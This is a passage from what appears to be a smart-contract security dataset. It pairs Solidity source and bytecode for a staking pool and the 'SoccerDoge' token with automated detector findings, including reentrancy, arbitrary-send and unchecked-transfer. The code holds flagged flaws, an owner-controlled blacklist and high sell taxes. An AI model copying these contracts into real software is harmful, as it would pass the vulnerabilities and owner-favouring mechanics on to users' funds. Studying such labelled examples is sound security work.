045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139cc81613541565b81146139d757600080fd5b50565b6139e381613553565b81146139ee57600080fd5b50565b6139fa8161357f565b8114613a0557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122057937b97ff00468689fa2f88b0e2e03c747d9b0b9c2b44b2f3fd0241454db9e964736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,190
0x07610200840468ed6cf614a15c702d99ca937b86
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract Pool2 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // yfilend token contract address address public tokenAddress; address public liquiditytoken1; // reward rate % per year uint public rewardRate = 60000; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 0; // unstaking fee percent uint public unstakingFeeRate = 0; // unstaking possible Time uint public PossibleUnstakeTime = 24 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported"); tokenAddress = _tokenAddr; liquiditytoken1 = _liquidityAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function plant(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unplant(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function reap() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80639d76ea5811610104578063d578ceab116100a2578063f3073ee711610071578063f3073ee71461044e578063f3f91fa01461046d578063f476352814610493578063f851a440146104b0576101cf565b8063d578ceab14610410578063d816c7d514610418578063f1587ea114610420578063f2fde38b14610428576101cf565b8063c0a6d78b116100de578063c0a6d78b146103a8578063c326bf4f146103c5578063c383e22b146103eb578063c72896ac14610408576101cf565b80639d76ea581461036a578063a89c8c5e14610372578063bec4de3f146103a0576101cf565b80634908e386116101715780636270cd181161014b5780636270cd18146102fc5780636654ffdf146103225780636a395ccb1461032a5780637b0a47ee14610362576101cf565b80634908e386146102b1578063583d42fd146102ce5780635ef057be146102f4576101cf565b8063308feec3116101ad578063308feec31461026157806337c5785a14610269578063384431771461028c578063455ab53c146102a9576101cf565b8063069ca4d0146101d45780631e94723f146102055780632ec14e851461023d575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b61022b6004803603602081101561021b57600080fd5b50356001600160a01b03166104d9565b60408051918252519081900360200190f35b610245610592565b604080516001600160a01b039092168252519081900360200190f35b61022b6105a1565b6101f16004803603604081101561027f57600080fd5b50803590602001356105b3565b6101f1600480360360208110156102a257600080fd5b50356105d7565b6101f16105f8565b6101f1600480360360208110156102c757600080fd5b5035610601565b61022b600480360360208110156102e457600080fd5b50356001600160a01b0316610622565b61022b610634565b61022b6004803603602081101561031257600080fd5b50356001600160a01b031661063a565b61022b61064c565b6103606004803603606081101561034057600080fd5b506001600160a01b03813581169160208101359091169060400135610652565b005b61022b61072c565b610245610732565b6101f16004803603604081101561038857600080fd5b506001600160a01b0381358116916020013516610741565b61022b6107e7565b6101f1600480360360208110156103be57600080fd5b50356107ed565b61022b600480360360208110156103db57600080fd5b50356001600160a01b031661080e565b6103606004803603602081101561040157600080fd5b5035610820565b610360610b16565b61022b610b21565b61022b610b27565b61022b610b2d565b6103606004803603602081101561043e57600080fd5b50356001600160a01b0316610b61565b6101f16004803603602081101561046457600080fd5b50351515610be6565b61022b6004803603602081101561048357600080fd5b50356001600160a01b0316610c72565b610360600480360360208110156104a957600080fd5b5035610c84565b610245610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b60006104e6600b83610f97565b6104f25750600061058d565b6001600160a01b0382166000908152600d60205260409020546105175750600061058d565b6001600160a01b0382166000908152600f602052604081205461053b904290610fb5565b6001600160a01b0384166000908152600d60205260408120546004546003549394509092610587916127109161058191908290889061057b908990610fc7565b90610fc7565b90610fe7565b93505050505b919050565b6002546001600160a01b031681565b60006105ad600b610ffc565b90505b90565b600080546001600160a01b031633146105cb57600080fd5b60059290925560065590565b600080546001600160a01b031633146105ef57600080fd5b60099190915590565b600a5460ff1681565b600080546001600160a01b0316331461061957600080fd5b60039190915590565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b0316331461066957600080fd5b6001546001600160a01b03848116911614156106a457610687610b2d565b81111561069357600080fd5b6008546106a09082611007565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156106fb57600080fd5b505af115801561070f573d6000803e3d6000fd5b505050506040513d602081101561072557600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b0316331461075957600080fd5b6001600160a01b0383161580159061077957506001600160a01b03821615155b6107b45760405162461bcd60e51b815260040180806020018281038252602a81526020018061136f602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b60045481565b600080546001600160a01b0316331461080557600080fd5b60079190915590565b600d6020526000908152604090205481565b600a5460ff16151560011461087c576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b600081116108d1576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561092b57600080fd5b505af115801561093f573d6000803e3d6000fd5b505050506040513d602081101561095557600080fd5b50516109a8576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b6109b133611016565b60006109ce61271061058160055485610fc790919063ffffffff16565b905060006109dc8383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610a3857600080fd5b505af1158015610a4c573d6000803e3d6000fd5b505050506040513d6020811015610a6257600080fd5b5051610ab5576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610acf9082611007565b336000818152600d6020526040902091909155610aee90600b90610f97565b610b1157610afd600b336111aa565b50336000908152600e602052604090204290555b505050565b610b1f33611016565b565b60085481565b60065481565b600060095460085410610b42575060006105b0565b6000610b5b600854600954610fb590919063ffffffff16565b91505090565b6000546001600160a01b03163314610b7857600080fd5b6001600160a01b038116610b8b57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610bfe57600080fd5b6001546001600160a01b031615801590610c2257506002546001600160a01b031615155b610c5d5760405162461bcd60e51b815260040180806020018281038252603381526020018061133c6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b336000908152600d6020526040902054811115610ce8576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e6020526040902054610d06904290610fb5565b11610d425760405162461bcd60e51b815260040180806020018281038252603b815260200180611301603b913960400191505060405180910390fd5b610d4b33611016565b6000610d6861271061058160065485610fc790919063ffffffff16565b90506000610d768383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610dd257600080fd5b505af1158015610de6573d6000803e3d6000fd5b505050506040513d6020811015610dfc57600080fd5b5051610e4f576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610ea357600080fd5b505af1158015610eb7573d6000803e3d6000fd5b505050506040513d6020811015610ecd57600080fd5b5051610f20576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d6020526040902054610f3a9084610fb5565b336000818152600d6020526040902091909155610f5990600b90610f97565b8015610f725750336000908152600d6020526040902054155b15610b1157610f82600b336111bf565b50505050565b6000546001600160a01b031681565b6000610fac836001600160a01b0384166111d4565b90505b92915050565b600082821115610fc157fe5b50900390565b6000828202831580610fe1575082848281610fde57fe5b04145b610fac57fe5b600080828481610ff357fe5b04949350505050565b6000610faf826111ec565b600082820183811015610fac57fe5b6000611021826104d9565b9050801561118d576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561107f57600080fd5b505af1158015611093573d6000803e3d6000fd5b505050506040513d60208110156110a957600080fd5b50516110fc576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526010602052604090205461111f9082611007565b6001600160a01b0383166000908152601060205260409020556008546111459082611007565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b6000610fac836001600160a01b0384166111f0565b6000610fac836001600160a01b03841661123a565b60009081526001919091016020526040902054151590565b5490565b60006111fc83836111d4565b61123257508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610faf565b506000610faf565b600081815260018301602052604081205480156112f6578354600019808301919081019060009087908390811061126d57fe5b906000526020600020015490508087600001848154811061128a57fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806112ba57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610faf565b6000915050610faf56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a264697066735822122072320178b6d1c43ec407a23f7361c01cbd03fbf379274ea96a95b33993892c0c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,191
0x1baae1fa75046e4de09d28d57a1063a30dd1a3d2
/** *Submitted for verification at Etherscan.io on 2021-07-11 */ /** * SoccerDoge is going to launch in the Uniswap at July 11. This is fair launch and going to launch without any presale. tg:https://t.me/Soccer_Doge https://twitter.com/Soccer_Doge All crypto babies will become a SoccerDoge in here. Let's enjoy our launch! * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool) ; function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SoccerDoge is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _friends; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Soccer Doge"; string private constant _symbol = unicode" SDoge "; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _feeRate = 5; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; address payable private _marketingFixedWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; struct User { uint256 buyCD; uint256 sellCD; uint256 lastBuy; uint256 buynumber; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _marketingFixedWalletAddress = marketingFixedWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; _isExcludedFromFee[marketingFixedWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_friends[from] && !_friends[to]); if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _friends[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _friends[to] = true; } } if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,0,0,0,true); } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > trader[to].lastBuy + (30 minutes)) { trader[to].buynumber = 0; } if (trader[to].buynumber == 0) { trader[to].buynumber++; _taxFee = 5; _teamFee = 5; } else if (trader[to].buynumber == 1) { trader[to].buynumber++; _taxFee = 4; _teamFee = 4; } else if (trader[to].buynumber == 2) { trader[to].buynumber++; _taxFee = 3; _teamFee = 3; } else if (trader[to].buynumber == 3) { trader[to].buynumber++; _taxFee = 2; _teamFee = 2; } else { //fallback _taxFee = 5; _teamFee = 5; } trader[to].lastBuy = block.timestamp; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } trader[to].sellCD = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired."); } uint256 total = 35; if(block.timestamp > trader[from].lastBuy + (3 hours)) { total = 10; } else if (block.timestamp > trader[from].lastBuy + (1 hours)) { total = 15; } else if (block.timestamp > trader[from].lastBuy + (30 minutes)) { total = 20; } else if (block.timestamp > trader[from].lastBuy + (5 minutes)) { total = 25; } else { //fallback total = 35; } _taxFee = (total.mul(4)).div(10); _teamFee = (total.mul(6)).div(10); if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || 